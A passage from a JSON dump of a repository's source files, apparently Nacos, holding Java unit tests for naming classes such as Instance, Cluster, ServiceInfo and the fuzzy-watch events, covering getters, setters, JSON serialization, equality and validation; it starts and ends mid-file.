jacksonMapper.writeValueAsString(expected);\n        ServerNamingAbility actual = jacksonMapper.readValue(serializeJson, ServerNamingAbility.class);\n        assertEquals(expected, actual);\n        actual = new ServerNamingAbility();\n        assertNotEquals(expected, actual);\n        actual.setSupportJraft(true);\n        assertEquals(expected, actual);\n    }\n    \n    @Test\n    void testEqualsForOneObject() {\n        ServerNamingAbility ability = new ServerNamingAbility();\n        assertEquals(ability, ability);\n    }\n    \n    @Test\n    void testEqualsForOtherAbility() {\n        ServerNamingAbility ability = new ServerNamingAbility();\n        assertNotEquals(ability, new ClientNamingAbility());\n    }\n    \n    @Test\n    void testHashCode() throws JsonProcessingException {\n        ServerNamingAbility expected = new ServerNamingAbility();\n        expected.setSupportJraft(true);\n        String serializeJson = jacksonMapper.writeValueAsString(expected);\n        ServerNamingAbility actual = jacksonMapper.readValue(serializeJson, ServerNamingAbility.class);\n        assertEquals(expected, actual);\n        actual = new ServerNamingAbility();\n        assertNotEquals(expected, actual);\n        actual.setSupportJraft(true);\n        assertEquals(expected.hashCode(), actual.hashCode());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/listener/AbstractFuzzyWatchEventWatcherTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass AbstractFuzzyWatchEventWatcherTest {\n    \n    AbstractFuzzyWatchEventWatcher fuzzyWatchEventWatcher;\n    \n    @BeforeEach\n    void setUp() {\n        fuzzyWatchEventWatcher = new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(FuzzyWatchChangeEvent event) {\n            \n            }\n        };\n    }\n    \n    @Test\n    void getExecutor() {\n        assertNull(fuzzyWatchEventWatcher.getExecutor());\n    }\n    \n    @Test\n    void onPatternOverLimit() {\n        assertDoesNotThrow(fuzzyWatchEventWatcher::onPatternOverLimit);\n    }\n    \n    @Test\n    void onServiceReachUpLimit() {\n        assertDoesNotThrow(fuzzyWatchEventWatcher::onServiceReachUpLimit);\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/listener/FuzzyWatchChangeEventTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass FuzzyWatchChangeEventTest {\n    \n    @BeforeEach\n    void setUp() throws Exception {\n    }\n    \n    @Test\n    void testFuzzyWatchChangeEventWithEmptyConstructor() {\n        FuzzyWatchChangeEvent event = new FuzzyWatchChangeEvent();\n        assertNull(event.getServiceName());\n        assertNull(event.getGroupName());\n        assertNull(event.getNamespace());\n        assertNull(event.getChangeType());\n        assertNull(event.getSyncType());\n    }\n    \n    @Test\n    void testFuzzyWatchChangeEventWithFullConstructor() {\n        FuzzyWatchChangeEvent event = new FuzzyWatchChangeEvent(\"service\", \"group\", \"namespace\", \"ADD_SERVICE\",\n                \"FUZZY_WATCH_INIT_NOTIFY\");\n        assertEquals(\"service\", event.getServiceName());\n        assertEquals(\"group\", event.getGroupName());\n        assertEquals(\"namespace\", event.getNamespace());\n        assertEquals(\"ADD_SERVICE\", event.getChangeType());\n        assertEquals(\"FUZZY_WATCH_INIT_NOTIFY\", event.getSyncType());\n    }\n    \n    @Test\n    void testToString() {\n        FuzzyWatchChangeEvent event = new FuzzyWatchChangeEvent(\"service\", \"group\", \"namespace\", \"ADD_SERVICE\",\n                \"FUZZY_WATCH_INIT_NOTIFY\");\n        String expected = \"FuzzyWatchChangeEvent{serviceName='service', groupName='group', namespace='namespace',\"\n                + \" changeType='ADD_SERVICE', syncType='FUZZY_WATCH_INIT_NOTIFY'}\";\n        assertEquals(expected, event.toString());\n    }\n    \n    @Test\n    void testFuzzyWatchChangeEventWithNullValues() {\n        FuzzyWatchChangeEvent event = new FuzzyWatchChangeEvent(null, null, null, null, null);\n        assertNull(event.getServiceName());\n        assertNull(event.getGroupName());\n        assertNull(event.getNamespace());\n        assertNull(event.getChangeType());\n        assertNull(event.getSyncType());\n    }\n    \n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/listener/NamingEventTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NamingEventTest {\n    \n    private MockNamingEventListener eventListener;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        eventListener = new MockNamingEventListener();\n    }\n    \n    @Test\n    void testNamingEventWithSimpleConstructor() {\n        NamingEvent event = new NamingEvent(\"serviceName\", Collections.EMPTY_LIST);\n        assertEquals(\"serviceName\", event.getServiceName());\n        assertNull(event.getGroupName());\n        assertNull(event.getClusters());\n        assertTrue(event.getInstances().isEmpty());\n        eventListener.onEvent(event);\n        assertNull(event.getServiceName());\n        assertNull(event.getGroupName());\n        assertNull(event.getClusters());\n        assertNull(event.getInstances());\n    }\n    \n    @Test\n    void testNamingEventWithFullConstructor() {\n        NamingEvent event = new NamingEvent(\"serviceName\", \"group\", \"clusters\", Collections.EMPTY_LIST);\n        assertEquals(\"serviceName\", event.getServiceName());\n        assertEquals(\"group\", event.getGroupName());\n        assertEquals(\"clusters\", event.getClusters());\n        assertTrue(event.getInstances().isEmpty());\n        eventListener.onEvent(event);\n        assertNull(event.getServiceName());\n        assertNull(event.getGroupName());\n        assertNull(event.getClusters());\n        assertNull(event.getInstances());\n    }\n    \n    private static class MockNamingEventListener extends AbstractEventListener {\n        \n        @Override\n        public void onEvent(Event event) {\n            assertNull(getExecutor());\n            NamingEvent namingEvent = (NamingEvent) event;\n            namingEvent.setServiceName(null);\n            namingEvent.setGroupName(null);\n            namingEvent.setClusters(null);\n            namingEvent.setInstances(null);\n        }\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/ClusterTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo;\n\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Http;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Tcp;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClusterTest {\n    \n    private static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSetAndGet() {\n        Cluster actual = new Cluster();\n        assertNull(actual.getName());\n        assertNull(actual.getServiceName());\n        assertEquals(Tcp.TYPE, actual.getHealthChecker().getType());\n        assertEquals(80, actual.getDefaultPort());\n        assertEquals(80, actual.getDefaultCheckPort());\n        assertTrue(actual.isUseIpPort4Check());\n        assertTrue(actual.getMetadata().isEmpty());\n        actual.setName(\"cluster\");\n        actual.setServiceName(\"group@@service\");\n        actual.setHealthChecker(new Http());\n        actual.setDefaultPort(81);\n        actual.setDefaultCheckPort(82);\n        actual.setUseIpPort4Check(false);\n        actual.setMetadata(Collections.singletonMap(\"a\", \"a\"));\n        assertEquals(\"cluster\", actual.getName());\n        assertEquals(\"group@@service\", actual.getServiceName());\n        assertEquals(Http.TYPE, actual.getHealthChecker().getType());\n        assertEquals(81, actual.getDefaultPort());\n        assertEquals(82, actual.getDefaultCheckPort());\n        assertFalse(actual.isUseIpPort4Check());\n        assertFalse(actual.getMetadata().isEmpty());\n        assertTrue(actual.getMetadata().containsKey(\"a\"));\n        assertEquals(\"a\", actual.getMetadata().get(\"a\"));\n    }\n    \n    @Test\n    void testJsonSerialize() throws JsonProcessingException {\n        Cluster actual = new Cluster(\"cluster\");\n        actual.setServiceName(\"group@@service\");\n        actual.setHealthChecker(new Http());\n        actual.setDefaultPort(81);\n        actual.setDefaultCheckPort(82);\n        actual.setUseIpPort4Check(false);\n        actual.setMetadata(Collections.singletonMap(\"a\", \"a\"));\n        String json = mapper.writeValueAsString(actual);\n        assertTrue(json.contains(\"\\\"serviceName\\\":\\\"group@@service\\\"\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"cluster\\\"\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"HTTP\\\"\"));\n        assertTrue(json.contains(\"\\\"defaultPort\\\":81\"));\n        assertTrue(json.contains(\"\\\"defaultCheckPort\\\":82\"));\n        assertTrue(json.contains(\"\\\"useIpPort4Check\\\":false\"));\n        assertTrue(json.contains(\"\\\"metadata\\\":{\\\"a\\\":\\\"a\\\"}\"));\n    }\n    \n    @Test\n    void testJsonDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"serviceName\\\":\\\"group@@service\\\",\\\"name\\\":\\\"cluster\\\",\"\n                + \"\\\"healthChecker\\\":{\\\"type\\\":\\\"HTTP\\\",\\\"path\\\":\\\"\\\",\\\"headers\\\":\\\"\\\",\\\"expectedResponseCode\\\":200},\"\n                + \"\\\"defaultPort\\\":81,\\\"defaultCheckPort\\\":82,\\\"useIpPort4Check\\\":false,\\\"metadata\\\":{\\\"a\\\":\\\"a\\\"}}\";\n        Cluster actual = mapper.readValue(json, Cluster.class);\n        assertEquals(\"cluster\", actual.getName());\n        assertEquals(\"group@@service\", actual.getServiceName());\n        assertEquals(Http.TYPE, actual.getHealthChecker().getType());\n        assertEquals(81, actual.getDefaultPort());\n        assertEquals(82, actual.getDefaultCheckPort());\n        assertFalse(actual.isUseIpPort4Check());\n        assertFalse(actual.getMetadata().isEmpty());\n        assertTrue(actual.getMetadata().containsKey(\"a\"));\n        assertEquals(\"a\", actual.getMetadata().get(\"a\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/InstanceTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.naming.PreservedMetadataKeys;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.HashMap;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass InstanceTest {\n    \n    private static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSetAndGet() {\n        Instance instance = new Instance();\n        assertNull(instance.getInstanceId());\n        assertNull(instance.getIp());\n        assertEquals(0, instance.getPort());\n        assertEquals(1.0D, instance.getWeight(), 0.1);\n        assertTrue(instance.isHealthy());\n        assertTrue(instance.isEnabled());\n        assertTrue(instance.isEphemeral());\n        assertNull(instance.getClusterName());\n        assertNull(instance.getServiceName());\n        assertTrue(instance.getMetadata().isEmpty());\n        setInstance(instance);\n        checkInstance(instance);\n    }\n    \n    @Test\n    void testJsonSerialize() throws JsonProcessingException {\n        Instance instance = new Instance();\n        setInstance(instance);\n        String actual = mapper.writeValueAsString(instance);\n        assertTrue(actual.contains(\"\\\"instanceId\\\":\\\"id\\\"\"));\n        assertTrue(actual.contains(\"\\\"ip\\\":\\\"1.1.1.1\\\"\"));\n        assertTrue(actual.contains(\"\\\"port\\\":1000\"));\n        assertTrue(actual.contains(\"\\\"weight\\\":100.0\"));\n        assertTrue(actual.contains(\"\\\"healthy\\\":false\"));\n        assertTrue(actual.contains(\"\\\"enabled\\\":false\"));\n        assertTrue(actual.contains(\"\\\"ephemeral\\\":false\"));\n        assertTrue(actual.contains(\"\\\"clusterName\\\":\\\"cluster\\\"\"));\n        assertTrue(actual.contains(\"\\\"serviceName\\\":\\\"group@@serviceName\\\"\"));\n        assertTrue(actual.contains(\"\\\"metadata\\\":{\\\"a\\\":\\\"b\\\"}\"));\n        assertTrue(actual.contains(\"\\\"instanceHeartBeatInterval\\\":5000\"));\n        assertTrue(actual.contains(\"\\\"instanceHeartBeatTimeOut\\\":15000\"));\n        assertTrue(actual.contains(\"\\\"ipDeleteTimeout\\\":30000\"));\n    }\n    \n    @Test\n    void testJsonDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"instanceId\\\":\\\"id\\\",\\\"ip\\\":\\\"1.1.1.1\\\",\\\"port\\\":1000,\\\"weight\\\":100.0,\\\"healthy\\\":false,\"\n                + \"\\\"enabled\\\":false,\\\"ephemeral\\\":false,\\\"clusterName\\\":\\\"cluster\\\",\"\n                + \"\\\"serviceName\\\":\\\"group@@serviceName\\\",\\\"metadata\\\":{\\\"a\\\":\\\"b\\\"},\\\"instanceHeartBeatInterval\\\":5000,\"\n                + \"\\\"instanceHeartBeatTimeOut\\\":15000,\\\"ipDeleteTimeout\\\":30000}\";\n        Instance instance = mapper.readValue(json, Instance.class);\n        checkInstance(instance);\n    }\n    \n    @Test\n    void testCheckClusterNameFormat() {\n        Instance instance = new Instance();\n        instance.setClusterName(\"demo\");\n        assertEquals(\"demo\", instance.getClusterName());\n    }\n    \n    @Test\n    void testToInetAddr() {\n        Instance instance = new Instance();\n        setInstance(instance);\n        assertEquals(\"1.1.1.1:1000\", instance.toInetAddr());\n    }\n    \n    @Test\n    void testContainsMetadata() {\n        Instance instance = new Instance();\n        assertFalse(instance.containsMetadata(\"a\"));\n        instance.setMetadata(null);\n        assertFalse(instance.containsMetadata(\"a\"));\n        instance.addMetadata(\"a\", \"b\");\n        assertTrue(instance.containsMetadata(\"a\"));\n    }\n    \n    @Test\n    void testGetInstanceIdGenerator() {\n        Instance instance = new Instance();\n        assertEquals(Constants.DEFAULT_INSTANCE_ID_GENERATOR, instance.getInstanceIdGenerator());\n        instance.addMetadata(PreservedMetadataKeys.INSTANCE_ID_GENERATOR, \"test\");\n        assertEquals(\"test\", instance.getInstanceIdGenerator());\n    }\n    \n    @Test\n    void testEquals() {\n        Instance actual = new Instance();\n        setInstance(actual);\n        actual.setMetadata(new HashMap<>());\n        actual.addMetadata(\"a\", \"b\");\n        assertNotEquals(actual, new Object());\n        Instance expected = new Instance();\n        setInstance(expected);\n        expected.setMetadata(new HashMap<>());\n        expected.addMetadata(\"a\", \"b\");\n        assertEquals(actual, expected);\n        expected.addMetadata(\"a\", \"c\");\n        assertNotEquals(actual, expected);\n    }\n    \n    @Test\n    void testValidateSuccess() throws Exception {\n        Instance instance = new Instance();\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(8080);\n        \n        // 验证应该成功，不会抛出异常\n        instance.validate();\n    }\n    \n    @Test\n    void testValidateFailureWithEmptyIp() {\n        Instance instance = new Instance();\n        instance.setPort(8080);\n        \n        // IP为空，验证应该失败\n        assertThrows(NacosApiException.class, instance::validate);\n    }\n    \n    @Test\n    void testValidateFailureWithInvalidPort() {\n        Instance instance = new Instance();\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(99999); // 无效端口 > 65535\n        \n        // 端口无效，验证应该失败\n        assertThrows(NacosApiException.class, instance::validate);\n        \n        Instance instance2 = new Instance();\n        instance2.setIp(\"1.1.1.1\");\n        instance2.setPort(-1); // 无效端口 < 0\n        \n        // 端口无效，验证应该失败\n        assertThrows(NacosApiException.class, instance2::validate);\n    }\n    \n    @Test\n    void testFillDefaultValue() throws NacosApiException {\n        Instance instance = new Instance();\n        // 初始时 clusterName 为 null\n        assertNull(instance.getClusterName());\n        \n        // 调用私有方法 fillDefaultValue 是通过 validate 方法间接测试\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(8080);\n        instance.validate();\n        \n        // clusterName 应该被设置为默认值\n        assertEquals(Constants.DEFAULT_CLUSTER_NAME, instance.getClusterName());\n    }\n    \n    @Test\n    void testFillDefaultValueWithExistingClusterName() throws NacosApiException {\n        Instance instance = new Instance();\n        instance.setClusterName(\"test-cluster\");\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(8080);\n        \n        // 调用 validate 会触发 fillDefaultValue\n        instance.validate();\n        \n        // clusterName 应该保持原值\n        assertEquals(\"test-cluster\", instance.getClusterName());\n    }\n    \n    private void setInstance(Instance instance) {\n        instance.setInstanceId(\"id\");\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(1000);\n        instance.setWeight(100);\n        instance.setHealthy(false);\n        instance.setEnabled(false);\n        instance.setEphemeral(false);\n        instance.setClusterName(\"cluster\");\n        instance.setServiceName(\"group@@serviceName\");\n        instance.setMetadata(Collections.singletonMap(\"a\", \"b\"));\n    }\n    \n    private void checkInstance(Instance instance) {\n        assertEquals(\"id\", instance.getInstanceId());\n        assertEquals(\"1.1.1.1\", instance.getIp());\n        assertEquals(1000, instance.getPort());\n        assertEquals(100D, instance.getWeight(), 0.1);\n        assertFalse(instance.isHealthy());\n        assertFalse(instance.isEnabled());\n        assertFalse(instance.isEphemeral());\n        assertEquals(\"cluster\", instance.getClusterName());\n        assertEquals(\"group@@serviceName\", instance.getServiceName());\n        assertFalse(instance.getMetadata().isEmpty());\n        assertTrue(instance.containsMetadata(\"a\"));\n        assertEquals(\"b\", instance.getMetadata().get(\"a\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/ListViewTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.LinkedList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass ListViewTest {\n    \n    @Test\n    void testToString() {\n        List<String> data = new LinkedList<>();\n        data.add(\"1\");\n        data.add(\"2\");\n        data.add(\"3\");\n        ListView<String> listView = new ListView<>();\n        listView.setData(data);\n        listView.setCount(data.size());\n        String actual = listView.toString();\n        assertEquals(\"ListView{data=[1, 2, 3], count=3}\", actual);\n    }\n    \n    @Test\n    void testSetAndGet() {\n        ListView<String> listView = new ListView<>();\n        assertEquals(0, listView.getCount());\n        assertNull(listView.getData());\n        listView.setCount(1);\n        listView.setData(Collections.singletonList(\"1\"));\n        assertEquals(1, listView.getCount());\n        assertEquals(1, listView.getData().size());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/ServiceInfoTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo;\n\nimport com.alibaba.nacos.api.utils.StringUtils;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\n\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLEncoder;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotSame;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServiceInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private ServiceInfo serviceInfo;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        serviceInfo = new ServiceInfo(\"G@@testName\", \"testClusters\");\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String actual = mapper.writeValueAsString(serviceInfo);\n        assertTrue(actual.contains(\"\\\"name\\\":\\\"G@@testName\\\"\"));\n        assertTrue(actual.contains(\"\\\"clusters\\\":\\\"testClusters\\\"\"));\n        assertTrue(actual.contains(\"\\\"cacheMillis\\\":1000\"));\n        assertTrue(actual.contains(\"\\\"hosts\\\":[]\"));\n        assertTrue(actual.contains(\"\\\"lastRefTime\\\":0\"));\n        assertTrue(actual.contains(\"\\\"checksum\\\":\\\"\\\"\"));\n        assertTrue(actual.contains(\"\\\"valid\\\":true\"));\n        assertTrue(actual.contains(\"\\\"allIps\\\":false\"));\n        assertFalse(actual.contains(\"jsonFromServer\"));\n        assertFalse(actual.contains(\"key\"));\n        assertFalse(actual.contains(\"keyEncoded\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String example = \"{\\\"name\\\":\\\"G@@testName\\\",\\\"clusters\\\":\\\"testClusters\\\",\\\"cacheMillis\\\":1000,\\\"hosts\\\":[],\"\n                + \"\\\"lastRefTime\\\":0,\\\"checksum\\\":\\\"\\\",\\\"allIps\\\":false,\\\"valid\\\":true,\\\"groupName\\\":\\\"\\\"}\";\n        ServiceInfo actual = mapper.readValue(example, ServiceInfo.class);\n        assertEquals(\"G@@testName\", actual.getName());\n        assertEquals(0, actual.ipCount());\n        assertEquals(\"testClusters\", actual.getClusters());\n        assertEquals(\"\", actual.getChecksum());\n        assertEquals(\"\", actual.getGroupName());\n        assertEquals(1000, actual.getCacheMillis());\n        assertEquals(0, actual.getLastRefTime());\n        assertTrue(actual.expired());\n        assertTrue(actual.getHosts().isEmpty());\n        assertTrue(actual.isValid());\n        assertFalse(actual.isAllIps());\n    }\n    \n    @Test\n    void testGetKey() {\n        String key = serviceInfo.getKey();\n        assertEquals(\"G@@testName@@testClusters\", key);\n        assertEquals(\"G@@testName@@testClusters\", serviceInfo.toString());\n    }\n    \n    @Test\n    void testGetKeyEncode() {\n        String key = serviceInfo.getKeyEncoded();\n        String encodeName = null;\n        try {\n            encodeName = URLEncoder.encode(\"G@@testName\", \"utf-8\");\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        }\n        assertEquals(key, ServiceInfo.getKey(encodeName, \"testClusters\"));\n    }\n    \n    @Test\n    void testGetKeyWithException() {\n        try (MockedStatic<URLEncoder> mockedStatic = Mockito.mockStatic(URLEncoder.class)) {\n            mockedStatic.when(() -> URLEncoder.encode(Mockito.anyString(), Mockito.anyString()))\n                    .thenThrow(new UnsupportedEncodingException());\n            String key = serviceInfo.getKeyEncoded();\n            assertEquals(key, ServiceInfo.getKey(\"G@@testName\", \"testClusters\"));\n        }\n    }\n    \n    @Test\n    void testServiceInfoConstructor() {\n        String key1 = \"group@@name\";\n        String key2 = \"group@@name@@c2\";\n        ServiceInfo s1 = new ServiceInfo(key1);\n        ServiceInfo s2 = new ServiceInfo(key2);\n        assertEquals(key1, s1.getKey());\n        assertEquals(key2, s2.getKey());\n    }\n    \n    @Test\n    void testServiceInfoConstructorWithError() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String key1 = \"name\";\n            ServiceInfo s1 = new ServiceInfo(key1);\n        });\n    }\n    \n    @Test\n    void testValidateForAllIps() {\n        serviceInfo.setAllIps(true);\n        assertTrue(serviceInfo.validate());\n    }\n    \n    @Test\n    void testValidateForNullHosts() {\n        serviceInfo.setHosts(null);\n        assertFalse(serviceInfo.validate());\n    }\n    \n    @Test\n    void testValidateForEmptyHosts() {\n        serviceInfo.setHosts(Collections.EMPTY_LIST);\n        assertFalse(serviceInfo.validate());\n    }\n    \n    @Test\n    void testValidateForUnhealthyHosts() {\n        Instance instance = new Instance();\n        instance.setHealthy(false);\n        serviceInfo.addHost(instance);\n        assertFalse(serviceInfo.validate());\n    }\n    \n    @Test\n    void testValidateForBothUnhealthyAndHealthyHosts() {\n        List<Instance> instanceList = new LinkedList<>();\n        Instance instance = new Instance();\n        instanceList.add(instance);\n        instance = new Instance();\n        instance.setHealthy(false);\n        instanceList.add(instance);\n        serviceInfo.addAllHosts(instanceList);\n        assertTrue(serviceInfo.validate());\n    }\n    \n    @Test\n    void testFromKey() {\n        String key1 = \"group@@name\";\n        String key2 = \"group@@name@@c2\";\n        ServiceInfo s1 = ServiceInfo.fromKey(key1);\n        ServiceInfo s2 = ServiceInfo.fromKey(key2);\n        assertEquals(key1, s1.getKey());\n        assertEquals(key2, s2.getKey());\n    }\n    \n    @Test\n    void testSetAndGet() throws JsonProcessingException {\n        serviceInfo.setReachProtectionThreshold(true);\n        serviceInfo.setJsonFromServer(mapper.writeValueAsString(serviceInfo));\n        ServiceInfo actual = mapper.readValue(serviceInfo.getJsonFromServer(), ServiceInfo.class);\n        assertEquals(StringUtils.EMPTY, actual.getJsonFromServer());\n        assertTrue(actual.isReachProtectionThreshold());\n    }\n    \n    @Test\n    void testGetKeyWithoutClusters() {\n        // 测试带groupName的情况\n        ServiceInfo serviceInfo1 = new ServiceInfo(\"group@@name\", \"cluster\");\n        assertEquals(\"group@@name\", serviceInfo1.getKeyWithoutClusters());\n        \n        // 测试不带groupName的情况\n        ServiceInfo serviceInfo2 = new ServiceInfo(\"name\", \"cluster\");\n        assertEquals(\"name\", 